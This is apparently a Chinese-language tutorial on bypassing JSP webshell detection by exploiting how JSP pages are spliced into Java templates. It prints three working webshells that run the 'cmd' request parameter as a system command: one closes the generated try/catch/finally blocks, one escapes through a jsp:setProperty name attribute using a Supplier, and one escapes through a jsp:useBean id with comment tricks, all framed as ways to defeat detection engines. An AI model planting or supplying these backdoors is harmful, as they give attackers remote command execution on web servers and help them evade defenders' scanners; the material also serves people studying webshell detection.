webshell代码拼接绕过(jsp)
jsp文件加载的流程:
从jsp文件中提取信息----->嵌入模板-------->编译java文件,生成class并加载
其中可以利用的点就是嵌入模板生成java文件的一步,就想sql注入中的闭合等一些手法一样
代码拼接
利用代码拼接逃逸,构造类执行
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String data=request.getParameter("cmd");
hack(data);
} catch(java.lang.Throwable t){} finally { _jspxFactory.releasePageContext(_jspx_page_context);}
}
public void hack(String data) throws java.io.IOException, javax.servlet.ServletException
{
javax.servlet.jsp.JspWriter out = null;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.http.HttpServletResponse response = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;
try{
Runtime.getRuntime().exec(data);
%>
表面看上去,代码是不完整的,但是我们看一下拼接后的.java文件

可以看到,生成的.java文件是完整的
我们先闭合前面的trycatchfinally,在用try去闭合后面的执行,使其成为完整的java文件,通过编译
标签逃逸
我们可以去看一下java对setProperty,useBean等属性的处理

当property="*"时,Jsp在处理setProperty,useBean等属性的时候没有对名称进行转义,导致在渲染模板的时候可以代码逃逸
插进去的文本可以利用前后注释闭合,打破检测引擎的语法结构分析
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<jsp:setProperty name="\" + new java.util.function.Supplier<String>() {public
String get(){ try{String s = request.getParameter(\"cmd\");Process process =
new ProcessBuilder().command(s.split(\" \")).start();} catch (Exception e)
{ e.printStackTrace();}return \"\";}}.get() + \"" property="*"/>
可以看到拼接后的文件

稍微分析一下代码:
java 8 中的
Supplier
是一个函数接口,无参数,返回值类型为泛型 T。Supplier
的使用比较简单,使用场景也比较单一。通俗的来说Supplier相当于一个放东西的容器,你可以在这个容器里放一些没有入参的代码,然后返回T类型,当调用get()方法的时候才会去执行容器里的代码得到返回值
s.spilt(" ")返回的是字符数组
可以很容易看到,容器中的代码被执行
或者我们可以采用usebean的方式进行逃逸:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<jsp:useBean
id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));/*" type="java.lang.Class" beanName=";">
</jsp:useBean>
<jsp:setProperty name="\"*/ //" property="*"></jsp:setProperty>
可以看到拼接后:

大概分析一下:
拼接后的解析格式与动作属性对应的关系
type id= null;
id=(type) _jspx_page_context.getAttribute("id", javax.servlet.jsp.PageContext.PAGE_SCOPE)
if(id==null)
加载类或创建实例
_jspx_page_context.setAttribute(id)
org.apache.jasper.runtime.JspRuntimeLibrary.introspecthelper(_jspx_page_context.findAttribute("name")
用*/ 闭合前面的 /, // 注释后面的行